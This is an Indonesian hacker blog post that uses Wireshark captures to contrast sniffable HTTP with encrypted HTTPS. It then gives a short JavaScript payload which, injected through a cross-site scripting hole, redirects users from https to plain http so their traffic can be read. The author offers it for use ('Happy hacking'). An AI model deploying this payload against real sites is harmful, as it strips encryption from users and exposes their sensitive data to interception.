Protocol Redirect: Playing With Secure Sockets Layer (SSL)


  • SPYRO KiD
  • admin[~@t~]spyrozone[~d.t~]net
  • Friday, October 24th, 2008
  • CopyLEFT (c) 2011++ www.spyrozone.net All Rights Reserved


Secure Sockets Layer (SSL) merupakan salah satu metode enkripsi yang telah banyak dipercaya sebagai solusi keamanan komunikasi. Paket data yang mengunakan SSL akan dienkripsi sehingga walaupun nantinya tertangkap oleh Network Sniffer, maka orang lain akan sulit untuk membaca informasi sensitif didalamnya.

Dalam berselancar, biasanya kita menggunakan protokol http:// Namun apabila komunikasi yang terjalin menggunakan SSL, protokol yang digunakan adalah https://. Biasanya ada peringatan dari browser apabila kita akan menggunakan SSL dalam berkomunikasi.

Mari kita lihat dengan menggunakan WIRESHARK mengapa dalam komunikasi sensitif banyak orang mengklaim bahwa SSL adalah pilihan tepat dan cukup secure untuk menjaga informasi sensitif yang sedang terjalin:

{image: wireshark}

Wireshark

Saya melakukan scanning, kemudian mengakses http://spyrozone.net, Berikut yang saya dapatkan dari “Follow TCP Stream” :

{image: spyrozone.net melalui protokol http}

spyrozone.net melalui protokol http

Hmm.. sniffable.. ^_^ Halaman yang saya akses bisa disusun ulang dengan mudahnya. Namun ketika saya mengakses https://spyrozone.net

{image: spyrozone.net melalui protokol https}

spyrozone.net melalui protokol https

Hmm.. sudah jelas khan kenapa dikatakan Secure ^_* Informasi yang ditangkap sulit untuk dibaca ^_^

Namun.. hanya dengan beberapa potong code JavaScript, anda dapat membuat SSL tidak berguna pada situs yang vuln terhadap Cross Site Scripting (XSS). Anda dapat melakukan redirect protokol untuk melempar user dari jalur SSL ke jalur normal dengan menginjeksikan script sederhana pada situs yang vuln terhadap XSS tersebut.. ^_^

And.. Here is the code:

Object.prototype.protocol_redirect = function(uri) {
    if(uri) {
        if(uri.indexOf('https:') !=-1) {
            u = uri;
            n = u.split(':');
            n[0] = n[0].replace('s','');
            document.location = n[0] + '://' +n[1];
        }
    } else {
        u = document.location.href;
        if(document.location.protocol == 'https:') {
            n = u.split(':');
            n[0] = n[0].replace('s','');
            document.location = n[0] + '://' +n[1];
        }
    }
};
this.protocol_redirect();

Hmm.. saya rasa ini juga merupakan salah satu alasan yang kuat kenapa begitu banyak Attacker selalu mengatakan bahwa XSS cukup mengerikan di tangan yang tepat, dan mengapa mereka selalu tertawa ketika masih ada orang yang meremehkan XSS ^_^

Keep learning and Happy hacking.. ^_*


//E.O.F